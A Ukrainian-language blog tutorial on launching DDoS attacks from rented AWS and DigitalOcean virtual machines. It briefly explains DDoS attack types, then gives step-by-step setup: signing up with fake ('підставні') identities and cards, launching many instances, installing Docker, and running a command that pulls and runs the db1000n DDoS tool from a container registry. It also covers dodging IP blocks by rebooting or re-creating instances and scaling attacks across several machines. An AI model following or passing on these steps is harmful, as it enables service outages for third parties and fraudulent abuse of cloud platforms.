Інструкція з DDoS за допомогою інстанс AWS

19 квітня 2023 2 хвилин Автор: Cyber Witcher

ЩО ТАКЕ DDOS-АТАКИ?

DDoS-атака (Distributed Denial of Service attack) – це атака на комп’ютерну систему, яка спрямована на заборону доступу користувачів до неї. В основному ця атака здійснюється шляхом перевантаження серверів, які обслуговують веб-сайт або іншу інтернет-систему, надмірним потоком запитів, що призводить до недоступності сервісу для користувачів. DDoS-атаки можуть бути виконані за допомогою ботнетів, що складаються з безлічі комп’ютерів, які були заражені шкідливим ПЗ, та далеко розташованих зомбі-комп’ютерів, що контролюються з одного центрального місця. Атаки можуть бути спрямовані на будь-яку систему, яка підключена до мережі Інтернет, включаючи веб-сайти, електронну пошту, онлайн-ігри та інші.

На кшталт інших кібератак, DDoS-атаки можуть бути здійснені з різних мотивів, таких як вимога викупу від жертв, розповсюдження політичного повідомлення, ворожнеча до компанії або просто для задоволення бажання завдати шкоди. В будь-якому випадку, ці атаки можуть призвести до значних втрат для компаній і веб-сайтів, включаючи втрату прибутку, порушення репутації та навіть правові наслідки. Для здійснення атаки типу “розподілена відмова в обслуговуванні” (DDoS) зловмисник використовує безліч зламаних або контрольованих джерел. У випадку DDoS-атаки можна розділити на типи залежно від цього, якому рівні моделі взаємодії відкритих систем (OSI) відбувається атака. Атаки на мережному рівні (рівень 3), транспортному рівні (рівень 4), рівні подання (рівень 6) та рівні додатків (рівень 7) найбільш поширені.

Класифікація DDoS-атак

Розглядаючи методи запобігання таким атакам, корисно розділити їх на дві групи: атаки рівня інфраструктури (рівні 3 та 4) та атаки рівня програми (рівні 6 та 7).

Атаки рівня інфраструктури

До атак рівня інфраструктури зазвичай відносять атаки на рівнях 3 і 4. Це найбільш поширений тип DDoS-атак, який включає такі вектори, як SYN-флуд, та інші атаки відображення, такі як UDP-флуд. Подібні атаки зазвичай масові і спрямовані на те, щоб перевантажити пропускну здатність мережі або сервери програм. Проте такий тип атак має певні ознаки, тому їх легко виявити.

Атаки рівня програми

До атак рівня додатків зазвичай відносять атаки рівнях 6 і 7. Ці атаки менш поширені, але водночас є складнішими. Як правило, вони не такі масові, як атаки рівня інфраструктури, але націлені на певні дорогі частини програми і призводять до того, що вона стає недоступною для реальних користувачів. Як приклад, можна привести потік HTTP-запитів на сторінку входу в систему, дорогий API пошуку або навіть потоки XML-RPC WordPress (також відомі як атаки WordPress Pingback).

Оплата

Багато хмарних послуг дають пільговий період для тесту можливостей платформи. Тим не менш, всі вони зацікавлені в перевірці достовірності особи, тому як верифікація користувача просять залишити дані платіжної системи. Залежно від платформи від системи прийде запит на списання певної суми, яка потім у період до 5 робочих днів повернеться назад. Це потрібно для перевірки, що картка справжня, також для підтвердження від платіжної системи, що такий користувач дійсно є. До періоду воєнного часу цей етап не викликав проблем, оскільки можна було просто замовити валютну віртуальну карту. Однак зараз навіть за наявності такої картки є складнощі з поповненням і варіанти вирішення сильно відрізняються залежно від банку.

  •  Варіант перший – каса. Для цього потрібно прийти у відділення банку з готівкою та сказати, що ви хочете покласти цю суму на свою валютну картку.

  •  Варіант другий – прив’язка карти локальної валюти з увімкненою опцією подвійної конвертації.

  •  Варіант третій – PayPal, але приймається не скрізь.

Хмарні платформи

Digital Ocean

Відмінно приймає як карти, так і PayPal, але вимагає наявності на рахунку щонайменше 5$. За початкову реєстрацію користувач автоматично отримає 100 $ терміном на 60 днів. Після закінчення 60 днів або після останнього центу з бонусного рахунку всі подальші нарахування будуть виставлятися як рахунки на прив’язану карту.

AWS

Приймає карти, але йому достатньо, щоб на балансі був 1$. Із плюсів – пільговий період триває рік. При цьому є обмеження щодо сервісів – навпроти тих, що доступні у пільговому пакеті, буде напис Free tier eligible. Також є обмеження у вигляді 750 годин на місяць на роботу віртуальних машин.

AWS. Реєстрація

Реєстрація складається з 5 кроків і, в принципі, інтуїтивно зрозуміла. Для неї знадобиться імейл, номер телефону та банківська картка. Для начала идем на сайт AWS и жмем большую оранжевую кнопку Create Account.


Далі починається 5-ступінчаста структура реєстрації. Тут потрібно просто дотримуватися вказівок і відповідати на дзвінки системи. Єдиний нюанс стосується картки – баланс на ній має бути не менше ніж 2$. Хоча Амазон подає запит лише на 1$, іноді він відхиляється, тому що банк хоче за цей переказ і собі щось отримати. Важливо відзначити, що через воєнний стан можуть виникнути проблеми з карткою. Якщо їх не вдасться обійти, рекомендується переключити увагу на DigitalOcean. Як тільки всі етапи пройдені, буде показано домашню сторінку Амазона (може відрізнятися, тому що вони зараз активно змінюють дизайн). На ній нас буде цікавити тільки ця частина, але спочатку налаштуємо MFA акаунта. MFA ,якщо особа, номер та банківська картка є підставною, а втрата акаунта не є проблемою – цей крок можна опустити. В іншому випадку потрібно в правому верхньому куті натиснути на ім’я свого ID.

У меню вище потрібно вибрати Security credentials та перейти на сторінку

Перш ніж продовжувати, необхідно завантажити одну з програм для MFA. Один з найпростіших це Google Authenticator, але підійде і інший аналог. Тиснемо Activate MFA і в діалоговому вікні вибираємо Virtual MFA Device.

Далі заходимо на своєму мобільному пристрої GoogleAuthenticator і в правому нижньому кутку вибираємо Scan QR. У діалоговому вікні тиснемо Show QA code та скануємо. У GoogleAuthentificator має з’явитися новий обліковий запис. Як тільки це сталося – вводимо два перші коди (коди змінюються кожну хвилину). Після цього MFA настроєно і можна переходити до найцікавішого.

Створення ВМ

Повертаємось на нашу домашню сторінку І клацаємо на EC2.


Або на самому верху сторінки тиснемо на пункт Services і вже там вибираємо EC2. Нас викинути на таку сторінку.

Тут нас цікавить верхній блок – вибираємо там вкладку Instance і потрапляємо сюди, де бачимо велику кнопку Launch instances. Точно така сама, але помаранчева, є в правому верхньому кутку. Яку натискати – не має значення. І нехай не лякає множина – так амазон нам просто показує, що за один раз ми можемо запустити багато ВМ.

Насамперед потрібно вибрати ОС та тип інстансу. Вибираємо Ubuntu. Тут нам автоматично запропонують 22.04 LTS – погоджуємося.

Далі вибираємо тип інстансу. Нам автоматично запропонують той, за який у демо-режимі ми не платитимемо (поки не вийдемо за обмеження за часом).

У цьому вікні тиснемо Create New Key Pair (якщо ключі вже існують – можна вибрати потрібний зі списку), вибираємо в діалоговому вікні що нам треба, після чого браузер автоматично завантажить наш ключ, яким ми ходитимемо на сервер. Якщо наша рідна система Windows і ми будемо використовувати PuTTY– у пункті file format вибираємо .ppk.

В принципі, на цьому моменті можна перемикати праворуч на колонку Summary, де ми можемо вибрати кількість інстансів (ВМ) і натискати кнопку Launch.

Залежно від кількості зазначених ВМ процес може зайняти якийсь час, чекати на сторінці не обов’язково – можна скористатися великою помаранчевою кнопкою.

І побачити приблизно ось це:Поки у графі Status Check не з’явиться зелена галочка, на інстанс стукати сенсу немає. Як тільки галочка з’явилася – можна коннектуватись туди будь-яким зручним способом.

Заходимо на сервер

IP сервера вказаний у колонці Public IPv4, неподалік колонки Status Check. User за замовчуванням ubuntu

Для користувачів PuTTY є короткий how-to про те, як можна зайти на сервер використовуючи приватний ключ (той самий, який ми створили під час сетапа інстансу):
https://www.bluehost.com/help/article/using-ssh-on-windows-putty

Для користувачів Linux все ще простіше:

  • chmod 644 /path/to/ssh.pem

  • ssh -i /path/to/ssh.pem ubuntu@ip-of-instance

Після цього система запитає про фінгерпринт, потрібно ввести yes і ось ми на сервері.

Підготовка сервера

Підготовка сервера до роботи включає 2 прості команди:

  • sudo apt update

  • sudo apt install docker docker-compose

Перевірити, що все стало як потрібно, запитавши висновок, sudo docker ps

У консолі має бути щось так. Як тільки такий висновок отримано – все чудово

DDOS

Все в тій же консолі вводимо:

  • sudo docker run –rm –pull always –network host ghcr.io/arriven/db1000n

Консоль повинна заповнитися записами на кшталт таких

І залишаємо інстанс робити свою справу, тим часом ми можемо створити ще кілька таких і повторити на них ті ж кроки.

Блокировка IP инстанса

Якщо є підозри, що не пощастило і адресу заблокували, є кілька простих способів її змінити:

Ребут інстансу. У головному вікні EC2 ставимо галочку навпроти інстансу, який хочемо перезавантажити, після чого трохи вище праворуч тиснемо кнопку Instance State і вибираємо Reboot. Чекаємо, поки не з’явиться галочка в полі Status Check. Перевіряємо, що у полі Public IPv4 змінилися цифри, повторюємо заходимо через PuTTY або SSH і запускаємо DDOS знову. Створити новий інстанс.

Видалення інстансу

Як тільки інстанс став не потрібен, видалити його можна через Instance State, обравши у меню Terminate

DIgital Ocean

Реєстрація

Для реєстрації заходимо на сайт і тиснемо на кнопку Sign Up. За бажанням можна скористатися SSO через Google обліковий запис або GitHub.

Після цього система попросить нас заповнити звичайну форму – вказуємо все, що вона просить. Якщо ви використовуєте підставну пошту-карту-номер, переконайтеся, що у вас є доступ до них і що ви зможете пройти верифікацію всередині системи. Останнім етапом верифікації запису є прив’язка платіжки.


Через особливості роботи конкретного банку або обмеження карти, перший варіант може не спрацювати. Тоді рекомендується завести аккаунт у PayPal і, прив’язавши до нього карту, розплатитися вже з нього. Після цього реєстрацію завершено.

2FA

Актуально, якщо реєстрація проходила не через Google або GitHub аккаунт. Для цього тиснемо на блакитну іконку в верхньому лівому кутку, потрапляємо на домашню панель, де в списку зліва вибираємо Settings. Відразу бачимо пункт Secure sign-in. Після його активації потрібно перейти на аккаунт.

Створення ВМ

Залежно від того, куди нас після повторної реєстрації викине, вибираємо чи Droplets у меню зліва.

Або Deploy Virtual Machine.

У будь-якому разі перед нами з’явиться вікно вибору параметрів для нашого дроплета (у термінології DigitalOcean це означає віртуальну машину). Для наших цілей підійдуть дефолтні параметри:

А ось із регіоном датацентру можна погратися. Залежно від того, який з них буде обраний, буде змінюватись і регіон IP-адреси.

Далі DO пропонує нам чи створити root-пароль для дроплета, чи створити ssh-ключі. З урахуванням наших цілей, що вибирати – не принципово, тому буде використовуватися найпростіший спосіб – за паролем.

На фінальному етапі можна вибрати скільки копій таких дроплетів потрібно створити. Варто звернути увагу, що кількість запущених дроплетів обмежена 10.

На фінальному етапі можна вибрати скільки копій таких дроплетів потрібно створити. Варто звернути увагу, що кількість запущених дроплетів обмежена 10. Тут нас цікавить тільки IP – по ньому і стукатимемося на сервер.

 

Заходимо на сервер

IP сервера вказаний прямо навпроти дроплет. User за промовчанням root. Password використовуємо той, який вводили під час створення дроплета.

Для користувачів PuTTY є короткий how-to про те, як можна зайти на сервер:

https://www.linode.com/docs/guides/connect-to-server-over-ssh-using-putty/#connecting-to-the-remote-server-over-ssh

Для користувачів PuTTY є короткий how-to про те, як можна зайти на сервер

  • ssh -i /path/to/ssh.pem root@ip-of-instance

Після цього система запитає пароль – вводимо. Запитає про фінгерпринт, потрібно ввести yes і ось ми на сервері.

Підготовка сервера

Підготовка сервера до роботи включає 2 прості команди:

  • sudo apt update

  • sudo apt install docker docker-compose

Перевірити, що все стало як потрібно, запитавши висновок, sudo docker ps.

У консолі має бути щось таке, Як тільки такий висновок отримано – все чудово.

DDOS

Все в тій же консолі вводимо:

  • sudo docker run –rm –pull always –network host ghcr.io/arriven/db1000n

Консоль повинна заповнитися записами на кшталт таких. І залишаємо дроплет працювати, тим часом ми можемо створити ще кілька таких і повторити на них ті ж кроки.

Видалення дроплету

У лівому меню переходимо в пункт Droplet, вбираємо потрібний дроплет і тиснемо More. У самому низу меню, що випадає, вибираємо Destory.

Підтверджуємо наш намір.

Ще раз підтверджуємо, що ми хочемо видалити саме цей дроплет – копіюємо його ім’я в полі та тиснемо Destroy.

Інші статті по темі
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.